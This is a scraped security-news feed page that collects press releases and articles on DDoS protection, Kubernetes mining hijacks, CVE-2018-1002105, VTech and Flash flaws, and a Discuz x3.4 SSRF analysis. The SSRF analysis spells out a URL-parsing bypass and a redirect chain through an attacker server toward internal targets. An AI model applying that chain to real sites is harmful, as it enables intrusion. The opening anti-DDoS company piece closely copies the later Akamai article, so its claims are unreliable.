Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

网络安全问题频发 须靠高防服务器解决

$
0
0

“互联网作为公用资源,已成为生活必需品,现在每秒钟都有很多人在线浏览信息、看视频、做交易,这让互联网渐渐变得十分拥堵。随着互联网产业的纵深发展,许多不法分子不断涌现,导致DDoS流量攻击等网络安全问题频发。在这种情况下,如何让所有用户享受快速的、稳定的、安全的使用体验?这是我们始终致力于解决的问题。”日前,高防服务器行业巨头亿恩科技董事长陶利在媒体沟通会上如是表示。

2000 年,亿恩科技为解决互联网安全问题应运而生。如今,亿恩科技已发展成为国内知名的专业互联网基础应用服务及高防服务器提供商。亿恩科技在全球范围布局了 14 家骨干机房,累计上万台服务器稳定运行,布局在多个国家与地区,为近五十万的用户提供了服务器托管、服务器租用、机柜租用等网络基础服务,使得客户不断的获得更大的收益。


网络安全问题频发 须靠高防服务器解决

陶利先生介绍道,当今互联网攻击事件频发,网络安全环境愈发严峻。今年 11 月份,某家知名网站遭遇了极大规模的DDoS(即分布式拒绝服务)流量攻击,每秒1.35TB的流量顷刻间冲击了这一平台,后来借助亿恩科技的帮助方才得以成功化解。

他补充道:“当下严峻的安全态势,让所有的企业都不得不打起精神来防范无处不在的网络攻击。要有效防护这些网络攻击,仅靠传统的数据中心或者对云的防护远远不够,还必须通过高防服务器才能彻底解决。”

在谈到网络安全维护现状时,陶利先生表示,由于很多企业不具备专门的网络运营团队和足够的安全管理经验,亿恩科技会通过一键式的安全部署以及云端的安全策略更新,为各大企业提供十分完善的基础设施防护以及高防服务器相关的防护,为客户降低安全运维的难度,提供简单易用、满足业务需求的安全解决方案。

随后,陶利先生强调:“安全行业有一个十分重要的词――深度防御,也可以说多层次的防御。物联网终端设备的端点,无论是在硬件设备上、软件设备上,还是在其后端的支撑计算等方面,都需要进行完善的安全部署。而亿恩科技高防服务器可以在DDoS流量攻击等方面做到层层防御,安全部署,为五十万客户等提供独具竞争力的互联网解决方案和服务,帮助客户在互联网时代获得成功。”

最后,河南省网信办某领导作了总结发言:“网络安全事关国家安全和发展。没有网络安全就没有国家安全。中国要建设网络强国,就要有过硬的技术,要有良好的信息基础设施,要有高素质的网络安全和信息化人才队伍,这样才能真正实现可持续的发展。”


新形势下网络安全智能运维实践

$
0
0

随着信息安全威胁的不断更新,APT、社会工程等新型攻击手段层出不穷,攻击者往往采用综合性的手段对目标进行持续性的探测和攻击,检测和防御难度显著提升。我们要树立正确的网络安全观,加快构建关键信息基础设施安全保障体系,全天候全方位感知网络安全态势,增强网络安全防御能力和威慑能力。同时《网络安全法》要求,国家网信部门应当统筹协调有关部门加强网络安全信息收集、分析和通报工作,按照规定统一发布网络安全监测预警信息。

大数据和云计算技术的出现提升了信息安全数据收集和分析的能力,新的信息安全管控技术不断涌现,例如大数据智能分析、安全可视化、情报驱动的安全等等。为了充分利用先进技术有效防范信息安全威胁,山东省城市商业银行合作联盟有限公司(简称山东城商行联盟)携手国内态势感知技术和创新实力派企业瀚思科技开展态势感知平台的建设工作。

建设基于流处理技术的实时威胁检测平台

山东城商行联盟已有的大数据运维日志收集平台目前收集了海量运维日志,具备进行安全模型建设的基础条件。态势感知平台在此基础上,使用具有吞吐量高、容错能力强等特点的流处理技术,利用人机交互分析、智能分析引擎和可视化等手段,结合丰富的威胁情报,对各成员行面临的外部攻击、APT攻击以及员工行为进行检测和分析,建立安全模型对日志进行多维度分析,充分发掘安全日志的潜在价值,实现准确预警、快速处置并主动防御。

智能分析引擎保护成员行业务连续性

态势感知平台基于大数据智能安全分析引擎对采集的内部实时数据基于场景规则、内部资产、多维度统计的关联方法进行分析,并将第三方威胁情报、安全扫描和入侵检测的事件信息整合关联,形成基于资产和业务的安全风险信息库。有效地为山东城商行联盟提供全局的安全态势感知能力,并为成员行网银、手机等互联网金融业务不间断稳定运行提供安全保障,同时为山东城商行联盟信息安全决策提供数据支撑。

机器学习算法助推深度安全分析落地

态势感知平台通过采集全网原始流量数据和日志数据,对海量异构的安全数据进行挖掘和关联分析,实现攻击、威胁、流量、行为、运维和合规等六大态势进行感知,形成全方位的安全全景视图,使山东城商行联盟能够快速准确地掌握内外部业务当前的安全态势,及时发现威胁处理风险,支撑安全决策和应急响应。结合机器学习和人工智能,进行安全模型的深度学习和自我衍进,可以减少对信息安全人员技能、经验的依赖。

强化信息安全管理体系和机制建设牢铸信息安全生命线

借助相关安全平台的建设,山东城商行联盟建立了以“一个宗旨,二项驱动,三道防线,四层保障”为指导框架的风险管理机制。同时也保障了基础设施安全防护工作、数据中心关键基础设施和重要信息系统,在物理安全、主机安全、网络安全、应用安全、数据安全、人员安全、管理安全、网站安全检测、开发安全、等级保护落实等十个方面进行了安全防护。

通过较为全面的安全管理体系和技术手段,提升系统整体安全防御能力。此外,山东城商行联盟还通过强化信息安全动态防御工作,持续加大安全技术防御在人、财、物上的投入,深入优化深层次、多系统的安全防护策略,优化大数据态势感知平台、安全管理平台、威胁情报等系统建设,提升决策分析与研判机制及安全威胁发现能力,贯彻执行“早发现、早报告、早处置”的原则,持续加强对信息安全突发事件和可能引发信息安全突发事件的信息收集、分析、处置工作。借助大数据技术实现由“单点独立防护”到“立体协同防御”的战略转变,完成由“被动安全防御”到“主动智能运维”的理念升级。

山东省城市商业银行合作联盟有限公司是借鉴德国模式于2008年8月由原山东省14家城市商业银行发起,并经银监会批准设立,为中小金融机构提供后台支持服务的非银行金融机构。经过十年的快速发展,山东省城商行联盟已经成长为业内品牌影响力显著、服务功能强大、引领成员行发展的中小银行金融科技共享服务平台。

有点意思:K8s被黑客劫持用来挖矿

$
0
0

Kubernetes是全球许多公司使用的容器编排系统,是我们最近监控的一种服务,因为我们看到CVE-2018-1002105等问题出现了。

我们对这项服务感兴趣的另一个原因是因为我们发现越来越多的人将Kubernetes暴露在互联网上。

为什么会将Kubernetes暴露到互联网?

正如我们的研究结果所示,很多公司都在公开他们的Kubernetes API却没有认证; 在Kubernetes集群内部,运行了名为Pods的小容器。基本上,pod表示集群内的进程。

通过暴露API,攻击者不仅可以看到Pod上正在运行的内容,还可以在Pod上执行命令。

结果是我们看到全世界许多Kubernetes集群的Pod被劫持以开采加密货币。

我们已经确定暴露的Kubernetes集群属于各种行业和公司规模。从小型创业公司到财富500强企业。

那么我们如何识别不安全的Kubernetes和那些被劫持的人呢?

点击标题看原文方案。

Discuz x3.4 前台 SSRF 分析

$
0
0
作者:LoRexxar'@知道创宇404实验室
时间:2018年12月7日

2018年12月3日,@L3mOn公开了一个Discuz x3.4版本的前台SSRF,通过利用一个二次跳转加上两个解析问题,可以巧妙地完成SSRF攻击链。

https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html

在和小伙伴@Dawu复现过程中发现漏洞本身依赖多个特性,导致可利用环境各种缩减和部分条件的强依赖关系大大减小了该漏洞的危害。后面我们就来详细分析下这个漏洞。

漏洞产生条件 版本小于 41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3 补丁链接 php版本大于PHP 5.3 php-curl <= 7.54 DZ运行在80端口 默认不影响linux(未100%证实,测试常见linux环境为不影响) 漏洞复现 ssrf

首先漏洞点出现的位置在 /source/module/misc/misc_imgcropper.php line 55


Discuz x3.4 前台 SSRF 分析

这里 $prefix 变量为 / 然后后面可控,然后进入函数里

/source/class/class_image.php line 52 Thumb函数


Discuz x3.4 前台 SSRF 分析

然后跟入init函数(line 118)中


Discuz x3.4 前台 SSRF 分析

很明显只要 parse_url 解得出host就可以通过dfsockopen发起请求

由于这里前面会补一个 / ,所以这里的source必须是 / 开头,一个比较常见的技巧。

//baidu.com

这样的链接会自动补上协议,至于怎么补就要看具体的客户端怎么写的了。

我们接着跟 dfsockopen 到 /source/function/function_core.php line 199


Discuz x3.4 前台 SSRF 分析

然后到 source/function/function_filesock.php line 31


Discuz x3.4 前台 SSRF 分析

主要为红框部分的代码,可以看到请求的地址为 parse_url 下相应的目标。

由于前面提到,链接的最前为 / ,所以这里的 parse_url 就受到了限制。


Discuz x3.4 前台 SSRF 分析

由于没有 scheme ,所以最终curl访问的链接为

://google.com/

前面自动补协议就成了

http://://google.com/

这里就涉及到了很严重的问题,就是对于curl来说,请求一个空host究竟会请求到哪里呢?

windows环境下,libcurl版本 7.53.0


Discuz x3.4 前台 SSRF 分析

可以看到这里请求了我本机的ipv6的ip。

在linux环境(ubuntu)下,截图为 7.47.0


Discuz x3.4 前台 SSRF 分析

测试了常见的各种系统,测试过程中没有找到不会报错的curl版本,暂时认为只影响windows的服务端环境。

再回到代码条件下,可以把前面的条件回顾一下:

1、首先我们需要保证 /{} 可控在解 parse_url 操作下存在host。

要满足这个条件,我们首先要对 parse_url 的结果有个清晰的认识。

在没有协议的情况下,好像是参数中不能出现协议或者端口(:号),否则就不会把第一段解析成host,虽然还不知道为什么,这里暂且不论。


Discuz x3.4 前台 SSRF 分析

在这种情况下,我们只需要把后面可能出现的http去掉就好了,因为无协议的情况下会默认补充http在前面(一般来说)。

2、curl必须要能把空host解析成localhost,所以libcurl版本要求在7.54.0以下,而且目前测试只影响windows服务器(欢迎打脸

3、dz必须在80端口下

在满足上面的所有条件后,我们实际请求了本地的任意目录

http://://{可控} ===> http://127.0.0.1/{可控}

但这实际上来说没有什么用,所以我们还需要一个任意url跳转才行,否则只能攻击本地意义就很小了。

任意url跳转

为了能够和前面的要求产生联动,我们需要一个get型、不需要登陆的任意url跳转。

dz在logout的时候会从referer参数(非header头参数)中获取值,然后进入301跳转,而这里唯一的要求是对host有一定的验证,让我们来看看代码。

/source/function/function_core.php:1498


Discuz x3.4 前台 SSRF 分析

上面的截图解释了这段代码的主要问题,核心代码为红框部分。

为了让referer不改变,我们必须让host只有一个字符,但很显然,如果host只能有一个字符,我们没办法控制任意url跳转。

所以我们需要想办法让 parse_url 和 curl 对同一个url的目标解析不一致,才有可能达到我们的目标。

http://localhost#@www.baidu.com/

上面这个链接 parse_url 解析出来为 localhost ,而curl解释为 www.baidu.com

我们抓个包来看看


Discuz x3.4 前台 SSRF 分析

成功绕过了各种限制

利用

到现在我们手握ssrf+任意url跳转,我们只需要攻击链连接起来就可以了。攻击流程如下

cutimg ssrf link =====> 服务端访问logout任意url跳转 ====301====> 跳转到evil服务器 =====302=====> 任意目标,如gophar、http等

当然最开始访问cutimg页面时,需要先获取formhash,而且referer也要相应修改,否则会直接拦截。

exp演示


Discuz x3.4 前台 SSRF 分析

Kubernetes首个严重安全漏洞发现者,谈发现过程及原理机制

$
0
0

北美时间11月26日,Kubernetes爆出严重安全漏洞,该漏洞由Rancher Labs联合创始人及首席架构师Darren Shepherd发现。该漏洞CVE-2018-1002105(又名Kubernetes特权升级漏洞, https://github.com/kubernetes/ ... 71411 )被确认为严重性9.8分(满分10分),恶意用户可以使用Kubernetes API服务器连接到后端服务器以发送任意请求,并通过API服务器的TLS凭证进行身份验证。这一安全漏洞的严重性更在于它可以远程执行,攻击并不复杂,不需要用户交互或特殊权限。

漏洞被发现并验证后,Kubernetes快速响应并已经发布了修补版本v1.10.11、v1.11.5、v1.12.3和v1.13.0-rc.1。仍在使用Kubernetes v1.0.x至Kubernetes v1.9.x版本的用户,被建议即刻停止并升级到修补版本。

本文由该漏洞的发现者、Rancher Labs联合创始人及首席架构师Darren Shepherd所写。他描述了自己发现这一漏洞的完整经过,剖析了问题的机制与原理,并分享了相应的解决方案以及他本人对Kubernetes、对开源社区的看法。


Kubernetes首个严重安全漏洞发现者,谈发现过程及原理机制

Rancher Labs联合创始人及首席架构师 Darren Shepherd,同时也是Docker生态核心组织Docker治理委员会(DGAB)的全球仅有的四位个人顶级贡献者之一。

Amazon ALB的问题

这一切都始于2016年,当时Rancher Labs刚发布了Rancher 1.6。2016年年中的时候,亚马逊发布了ALB,这是一个新的HTTP(7层)负载均衡器。ALB的设置比ELB容易得多,因此我们会建议用户使用ALB。随后很快,我们开始收到有关ALB后端设置失败的报告,很多随机请求只会得到401、403、404、503的报错。然而,Rancher Labs的团队无法重现这些错误,我们从社区成员那里得到的日志都没有没法成为参考。我们看到了HTTP请求和响应,但无法将其与代码相关联。那个时候,我们只好认为是因为ALB发布不久、产品本身可能存在些错误。除了ALB,我们之前从未遇到任何其他负载均衡器的问题。因此那时,我们只得最终告诉用户不要使用ALB。

时间到了今年8月,又有Rancher社区成员向Rancher 2.1提交了同样的问题( https://github.com/rancher/rancher/issues/14931 )。仍和以前一样,使用ALB会导致奇数401和403错误。这极大地引起了我的关注,因为Rancher 1.x和2.x之间没有共同的代码,而且ALB现在应该也已经相当成熟了。反复深入研究后,我发现问题与不处理非101响应和反向代理缓存TCP连接有关。若您想要真正理解这个问题,您必须了解TCP连接重用、websockets如何使用TCP连接以及HTTP反向代理。

TCP连接重用

在一种非常天真的HTTP方法中,客户端将打开TCP socket,发送HTTP请求,读取HTTP响应,然后关闭TCP socket。很快你就会发现你花了太多时间打开和关闭TCP连接。因此,HTTP协议具有内置的机制,以便客户端可以跨请求重用TCP连接。

WebSockets

Websockets是双向通信,其工作方式与HTTP请求/响应流不同。为了使用websockets,客户端首先会发送HTTP升级请求,服务器会以HTTP 101 Switch Protocols响应来响应这一请求。收到101之后,TCP连接将专用于websocket。在TCP连接的剩余生命周期中,它是被认为是专用于该websocket连接的。这就意味着此TCP连接永远不会被重新使用。

HTTP反向代理

HTTP反向代理(负载均衡器是一种反向代理)从客户端接收请求,然后将它们发送到不同的服务器。对于标准HTTP请求,它只写入请求,读取响应,然后将响应发送到客户端。这种逻辑相当直接,而且Go也包含一个内置的反向代理: https://golang.org/pkg/net/htt ... Proxy 。

相比之下Websockets就复杂一点。对于websocket,你必须查看请求,看到它是一个升级请求,然后发送请求,读取101响应,然后劫持TCP连接,然后开始来回复制字节。对于反向代理,它不会在此之后查看连接的内容,它只是创建一个“废弃管道”。标准Go库中不存在此逻辑,许多开源项目都编写了代码来执行此操作。

错误所在

关于错误所在,太长不看版的解释是,Kubernetes在启动“废弃管道”之前没有检查101响应。在代码的防御中,不检查101是挺常见的。(这也是我们上文所说的Rancher用户会发现的Rancher 1.x和Rancher 2.x的问题的原因,即使Rancher 1.x和Rancher 2.x使用的是完成不同的代码。)错误的场景如下:

客户端发送websocket升级请求 反向代理向后端服务器发送升级请求 后端服务器以404响应 反向代理启动复制循环并将404写入客户端 客户端看到404响应并将TCP连接添加到“空闲连接池”

在这种情况下,如果客户端重新使用TCP连接,它将向TCP连接写入请求,它将通过反向代理中的“废弃管道”并将其发送到前一个后端。通常这不会很糟糕,例如在负载均衡器的情况下,因为所有请求都会转到同一组同类后端。但是,当反向代理是智能的,并且是由其执行身份验证、授权和路由(即Kubernetes所做的全部工作)时,就会出现此问题。

安全漏洞

因为101未被处理,所以客户端最终使用TCP连接,该连接是对某些先前访问的后端服务的“废弃管道”。这将导致特权升级。问题是,Kubernetes将仅在反向代理中执行许多请求的授权。这意味着如果我执行一个授权失败的websocket请求路由到一个kubelet,我可以保持与该kubelet的持久连接,然后运行我选择的任何API命令,无论我是否被授权。例如,您可以在任何pod上运行exec并复制出secrets。因此,在这种情况下,已经授权的用户基本上可以获得对kubelet的完全API访问(同样的事情适用于通过kube-aggregation运行的服务)。

当您添加另一个反向代理时,会出现另一个问题。在这种情况下,您将HTTP负载均衡器放在Kubernetes API(非4层负载均衡器)之前。如果执行此操作,那个通过了身份验证的、运行着“废弃管道” 的TCP连接,将会被添加到一个任何用户都可以访问的空闲池中。那么,用户A创建了TCP连接,之后用户B仍可重新使用该连接。这样一来,未经过身份验证的用户就可以访问您的Kubernetes集群了。

此时你可能会感到恐慌,因为当然每个人都会在kube-apiserver前放置一个负载均衡器。唔……首先,您必须运行HTTP负载均衡器,而不是TCP负载均衡器。负载均衡器必须了解HTTP语义才能产生此问题。其次,幸运的是大多数反向代理并不关心101个回复。这就是为什么这个问题其实(在不少开源项目中)存在已久而未被发现的原因。大多数负载均衡器在看到升级请求而非101响应后不会重用TCP连接。所以,如果您会受到这一漏洞的影响,那么您的Kubernetes设置应该已经不可靠了,您应该能看到随机失败或无法完成的请求。至少我知道ALB就是这样工作的,所以你升级到了已修补该漏洞的Kubernetes版本之前,不要使用ALB。

简而言之,Kubernetes的这一安全漏洞会允许具有正确权限的任何经过身份验证的用户获得更多权限。如果您正在运行硬件多租户集群(内含不受信任的用户),您确实应该担心并且及时应对。如果您不担心用户主动互相攻击(大多数多租户集群都是这样),那么不要惊慌,只需升级到已修补该漏洞的Kubernetes版本即可。最坏的情况,如果真的有未经身份验证的用户可以进入您的集群,您的负载均衡器也有可能会阻止这种情况。只要不是将API暴露给世界,并且有在其上放置一些适当的ACL,也许你的集群也还是安全的。

Rancher为Kubernetes保驾护航

对于使用Rancher Kubernetes平台的用户,你们更无须紧张。

对于把集群部署在内网的用户,完全不需要过于担心此问题,因为外部无法直接入侵。

通过Rancher2.0或RKE部署的kubernetes集群的用户同样不用过于担心。因为通过Ranche2.0或RKE部署的集群默认是禁止和匿名用户访问。针对通过pod exec/attach/portforward权限提权问题,目前Kubernetes发布通用的修复方法是通过升级到指定Kubernetes版本来修复,针对此Rancher也已经发布修复程序,具体修复方法请参考: https://forums.rancher.com/t/r ... 12598

感谢开源

我深刻地感到,这次Kubernetes的这个安全漏洞的最初发现、修复和最终交付,证明了开源社区强大的生命力。我第一次发现这个问题,也是因为Rancher的非付费开源用户给予我们的反馈。事实上,我们已经确认了这一问题并没有影响Rancher 2.x的付费客户,因为Rancher的HA架构恰好否定了ALB的行为,但我们还是去研究并解决了这个问题,因为我们太爱我们的开源用户了。也正是在研究和修复这个问题的过程中,我发现了Kubernetes自身存在的安全隐患,并通过已建立的安全公开流程向Kubernetes社区反馈了该问题。

Kids’ VTech tablets vulnerable to eavesdropping hackers

$
0
0

Kids’ VTech tablets vulnerable to eavesdropping hackers

VTech, the Hong-Kong-based smart-toy maker has hit another bump in the road.

This time around, it’s a serious security flaw in the software of VTech’s flagship tablet, the Storio Max , which is called the InnoTab Max in the UK. The flaw could allow hackers to remotely take control of the device and spy on the 3- to 11-year-old children for whom it’s marketed.

The vulnerability was discovered earlier this year by Elliott Thompson, a security consultant with the London penetration-testing firm SureCloud. On Wednesday, SureCloud said in a post that Thompson had found a vulnerable service enabled on the tablet that could be exploited by a script placed on a website, where a child could visit it, trigger the flaw and be none the wiser.

An attacker would then gain full root control over the device, including access to its webcam, speakers and microphone. In other words, an attacker could eavesdrop on a child using the tablet or talk to them.

The Max tablets are designed to enable parents to restrict their kids’ access to websites that they’ve personally vetted. The flaw pops a hole in that bubble of trust, given that an attacker could exploit the vulnerability to boobytrap that collection of supposedly “safe” sites.

Luke Potter, cyber-security practice director at SureCloud, told BBC News that it’s easy to exploit once you know where to look:

To find the vulnerability in the first place wasn’t easy. But to actually exploit it once you know it’s there is reasonably simple.

An attack can be accomplished remotely via off-the-shelf malware that can be picked up from criminal marketplaces, he said, and it would be invisible:

Remote access can be gained without the child even knowing. So effectively being able to monitor the child, listen to them, talk to them, have full access and control of the device. For example, we demonstrated viewing things through the webcam. No attacks… yet

VTech said in a statement that it hasn’t heard of any actual attempt to exploit the vulnerability:

This was a controlled and targeted ‘ethical hack’ by… a sophisticated cyber-firm that was in possession of a detailed knowledge of hacking techniques and InnoTab/Storio Max’s firmware. We are not aware of any actual attempt to exploit the vulnerability and we consider the prospects of this happening to be remote. However, the safety of children is our top priority and we are constantly looking to improve the security of our devices.

In May, within 30 days of SureCloud having disclosed the vulnerability, VTech issued a patch.

That doesn’t mean that all the parents of all the tablet-using kids installed the firmware upgrade, though. VTech put a firmware upgrade reminder at the top of its homepage after BBC Watchdog Live flagged the tablet flaw and broadcast news about the issue, the BBC said on Wednesday.

Before that, VTech was just relying on popups that appeared on the devices themselves to get the word out, without explicitly warning customers about the security vulnerability or the risks it posed. After the BBC contacted the company, VTech made the upgrade reminder on its site more explicit and provided an illustrated, step-by-step guide to applying the fix.

According to the BBC, VTech is also contacting retailers that are selling affected units. The company says it’s also emailed European owners who haven’t yet performed the upgrade.

Earlier problems

An intruder claimed to have broken into VTech servers and ripped off data so sensitive that it made them queasy.

With good reason: the intruder claimed to have accessed photos of kids and parents, chat logs and audio files.

The FTC said at the time that the attacker got first names, genders and birthdays of about 638,000 children. The intruder said they got email addresses, encrypted passwords, secret questions and answers for password retrieval, IP addresses, mailing addresses, and download histories. The personal data pertained to 4,833,678 parents, the intruder said.

A then-21-year-old UK manwas arrested in connection with the intrusion soon after. Fast forward to January 2018, when VTech settled Federal Trade Commission (FTC) charges that the company violated the Children’s Online Privacy Protection Act (COPPA) and the FTC Act.

VTech settled with the FTC for a civil fine of $650,000.

VTech was criticized for its response in the 2015 breach. The toymaker not only (allegedly) lost the data: it also dinged customer confidence by slipping in a tweaked terms and conditions policy that passed the buck for any future breach to its customers, like so:

You acknowledge and agree that any information you send or receive during your use of the site may not be secure and may be intercepted or later acquired by unauthorized parties.

At least this time around, VTech shipped an upgrade promptly. It remains to be seen if its response to the tablet vulnerability will keep the FTC happy, though.

Flash zero-day exploit spotted patch now!

$
0
0

Flash zero-day exploit spotted   patch now!

If you’re among the holdouts still running Flash, you have some more updating homework to do. Adobe has issued an out-of-band patch after researchers spotted a Flash zero-day flaw being exploited in the wild.

The discovery was made by Qihoo 360 which on 29 November noticed a targeted APT (Advanced Persistent Threat) attack against a healthcare clinic used by Russian Government officials.

Codenamed “Operation Poison Needles” by Qihoo in honour of its medical theme, the attack uses a Word document mocked up to look like a job application questionnaire embedding a Flash Active X control.

Anyone on the receiving end of the attack will receive a phishing email with an attached RAR archive containing the boobytrapped document executing the payload.

The fix

The vulnerability, a use after free flaw, is now identified as CVE-2018-15982 and affects all Flash versions up to and including 31.0.0.153. Patching it on windows, macOS and linux, and ChromeOS requires downloading 32.0.0.101.

For good measure, the patch applies a separate fix for CVE-2018-15983, a privilege escalation caused by the insecure library loading of DLLs.

It’s worth noting that Qihoo appears to have spotted it by way of their anti-malware clients, hence the confident designation as an APT connected to the conflict between Ukraine and Russia.

Hacking Team?

ATR speculates that the attack’s “tradecraft and techniques” might connect the latest campaign in some way to the Italian freelancers, Hacking Team, which infamously had a lot of its tools stolen in a 2015 attack.

It’s true that the use of zero-day Flash exploits embedded inside Word documents looks like a calling card (seeprevious incidents), but this could also simply mean that attackers who got hold of the cache of Hacking Team goodies have saved them up for special occasions.

Naked Security has covered a regular drip (or even a flood) of vulnerabilities and live attacks exploiting Flash in recent times. Vulnerabilities that will almost certainly continue their march until the software is gone once and for all. As Gigamon writes:

Although the death of Flash has been widely reported thanks to industry efforts to deprecate and remove Flash from web browsers,vectors such as Microsoft Office remain able to load and execute Flash content.

Our recommendation: remove it from your operating system before deactivating it in browsers that still give you the choice to allow it (Chrome and Edge).

Presumably (and hopefully), organisations and individuals continuing to use something scheduled to expire forever in 2020 do so for a good reason. But whatever that reason may be, as with previous patches and out-of-band updates, the latest Flash zero-day is a reminder to all to move on and stop living so dangerously.

木马伪装成Adobe文件躲过查杀 盗取Steam账号

$
0
0

12月7日晚上,腾讯安全御见威胁情报中心监测到, 一盗号木马通过“酷玩游戏盒子”、“轻桌面”等软件传播以盗取steam游戏帐号,软件运行后释放downloader木马,该木马伪装成Adobe文件并假冒某公司申请到正规数字签名规避杀毒软件查杀。

腾讯安全御见威胁情报中心警醒:请大家保持警惕,通过正规渠道下载软件,使用电脑管家可拦截查杀此类木马。

近些年,大规模的信息泄露事件在世界各地接连出现,比如去年5月,WannaCry蠕虫病毒在全球超过74个国家爆发,造成至少4.5万台机器受到感染;今年6月,AcFun遭不法黑客攻击,致使近千万条用户数据外泄;11月底,万豪旗下喜达屋酒店近5亿用户隐私信息外泄;本月初,美国知名问答社区Quora又有1亿用户数据受攻击泄露……

据了解,目前互联网黑产呈规模化、产业化发展,而且“玩法”推陈出新,撞库、精准营销、撒网式诈骗等手段已逐渐成为黑产从业者的主要“掘金”工具。

针对普通用户如何防范隐私泄露问题,腾讯安全反病毒实验室负责人、腾讯电脑管家安全专家马劲松表示,应时刻保持对个人隐私数据的警觉性,不要在多个平台使用统一的账号密码,并养成定期更换密码的习惯。


木马伪装成Adobe文件躲过查杀 盗取Steam账号

文章纠错

微信公众号搜索"驱动之家"加关注,每日最新的手机、电脑、汽车、智能硬件信息可以让你一手全掌握。推荐关注!【微信扫描下图可直接关注


木马伪装成Adobe文件躲过查杀 盗取Steam账号

Akamai高管:网络安全攻击事件频发 必须依靠边缘技术解决

$
0
0

“互联网是一个公用资源,现在大家越来越多地在线观看视频、在线消费、在线交易,互联网变得越来越拥塞。在这种情况下,怎样向全世界的用户提供一致的、快速的、安全的用户体验?这是我们一直致力于解决的问题。”日前,全球CDN巨头Akamai亚太及日本地区副总裁暨总经理Graeme Beardsell在媒体沟通会上如是表示。

Akamai亚太及日本地区副总裁暨总经理Graeme Beardsell。

1998年,Akamai为解决互联网拥塞问题而创立。如今,Akamai已发展成为全球最大的CDN平台,在全球范围内部署了24万台服务器,跨越1700多个网络,分布在130多个国家/地区。今年10月,Akamai宣布对其智能边缘平台(Intelligent Edge Platform)做出重大改进,以助力数字化企业提升洞察力、灵活性和品质,从而更好地保护和支持基于云的应用程序和基于Web的体验。

Graeme Beardsell介绍,如今,网络安全环境愈发严峻,网络攻击更加容易,规模也越来越大。今年2月,某家著名网站遭遇了史上最大规模的DDoS(分布式拒绝服务)网络攻击,每秒1.35TB的流量瞬间冲击了这一开发者平台,最终借助Akamai的帮助才得以成功化解。除了DDoS攻击,欧洲某家航空公司多达5000万用户的数据被窃取,而攻击发生的源头竟然藏于组织内部。

他强调:“这样的安全态势使得所有的企业都越来越需要防范无处不在的安全攻击,这些安全攻击仅靠传统的数据中心或传统的对云的防护远远不够,必须通过边缘技术进行弥补。”

Akamai大中华区企业事业部高级售前技术经理李文涛。

Akamai大中华区企业事业部高级售前技术经理李文涛介绍,Akamai能为大型企业提供完整的应用防护、基础设施防护、用户信息和物联网相关的防护。同时,Akamai对中型和小型初创企业也进行了解决方案上的优化。由于这些企业往往不具备专门的安全团队和深厚的安全管理经验,Akamai通过一键式的安全部署、云端的安全策略更新,为它们尽可能地降低安全运维的难度,并提供简单易用、满足业务需求的安全解决方案。

李文涛表示:“安全行业有一个很重要的词――深度防御或者多层次的防御。无论是物联网终端设备的端点在硬件设备上、软件设备上,还是在后端的支撑计算、存储、数据库云的基础设施上,都要有安全部署。Akamai刚好介于两者之间,我们更多地是在数据传输过程中,在物联网设备和数据中心、其他物联网设备通信的过程中,找出对应用产生威胁的存在。Akamai能够和端点防护以及其他传统安全防护无缝对接,形成端到端的安全能力。”

Email Spam Campaign Targets U.S. Retail, Restaurant Sectors

$
0
0

A cybercriminal group has launched a malware campaign via personalized spear-phishing emails against large retail, restaurant and grocery chains in the United States, as well as against other organizations from the food and beverage industries.

The spam campaigns, which distributed several Trojans including Remote Manipulator System (RMS) and FlawedAmmyy, were attributed by researchers from Proofpoint to a known group tracked as TA505. This group has been responsible for the largest Dridex and Locky ransomware campaigns over the past two years and is generally known for sending large volumes of spam indiscriminately to victims.

Recent Articles By Author

North Korean APT Group Targets Academia via Malicious Chrome Extensions Business Email Compromise Gang Targeted 50,000 Company Executives Czech Republic Blames Russia for Yearlong Email Breach

However, these latest campaigns against the retail industry, which started around Nov. 15, were marked by a change in tactics.

“Each intended target received a personalized attachment, a technique that TA505 has not previously used and that remains unusual at this scale,” the Proofpoint researchers said in their report .

The emails were crafted to appear as if they were sent from a Ricoh printer and contain a scanned document. The attached documents were unique for every targeted company and even contained each company’s logo.

The documents contained malicious macros and instructed victims to enable their execution. If this was allowed, the code downloaded and executed a .msi file that installed the Trojan.

“TA505 has helped shape the threat landscape for years, largely because of the massive volumes associated with their campaigns through the end of 2017,” the Proofpoint researchers said. “When this group changes tactics, it tends to correspond to broader shifts and, throughout the year, we have seen both TA505 and a number of other actors focus on downloaders, RATs, information stealers, and banking Trojans, often in smaller, more targeted campaigns. Threat actors follow the money and, with dropping cryptocurrency values, the return on investment in better targeting, improved social engineering, and management of persistent infections now seems to be greater than that for large ‘smash and grab’ ransomware campaigns.”

Companies from the retail, hospitality and food and beverage industries are popular targets, especially over the holiday season when their business is at a peak and they handle a lot of payment data.

Botnet of 20,000 WordPress Sites Used to Attack Other Websites

A group of hackers control a botnet made up of around 20,000 infected WordPress websites and are using it to launch brute-force credential guessing attacks against other WordPress sites.

According to researchers from security firm Defiant , the hacker group controls the botnet through four command-and-control servers that route their commands through 14,000 proxy servers provided by a Russian proxy service.

The commands instruct brute-force scripts running on the compromised sites to make authentication attempts via the XML-RPC interface of other WordPress sites. The scripts use wordlists with common passwords but also generate password combinations dynamically based on common patterns.

The WordPress XML-RPC interface has been targeted in large-scale brute-force attacks in the past because it allowed attackers to pass multiple user and password combinations in a single request. That behavior was changed silently in WordPress 4.4 to make such attacks more difficult and the interface will stop testing user/password pairs after the first login failurein a request.

However, according to the Defiant researchers, this change hasn’t been backported to older WordPress branches that might still receive security updates. Even so, the attackers seem to be aware of this improvement and have limited their scripts to trying only one user/password combination per request.

Most of the “slave” websites used in the attacks are hosted by popular web hosting providers. The Defiant team has contacted some of the service providers to notify them about the compromised sites on their networks.

The company has also shared the results of its investigation into the command-and-control infrastructure with law enforcement companies. The C&C servers are hosted in Romania, the Netherlands and Russia.

WordPress site owners should use web firewalls or plug-ins that enforce rate-limits for failed login attempts and automatically blacklist abusive IP addresses. They should also make sure they run the latest version of WordPress that has all the security patches.

How deception can provide an edge in fighting cyberattacks [Q&A]

$
0
0

How deception can provide an edge in fighting cyberattacks [Q&amp;A]

Businesses are starting to recognize that it may be impossible to keep attackers completely out of their networks, so they are starting to look for ways of fighting them more efficiently.

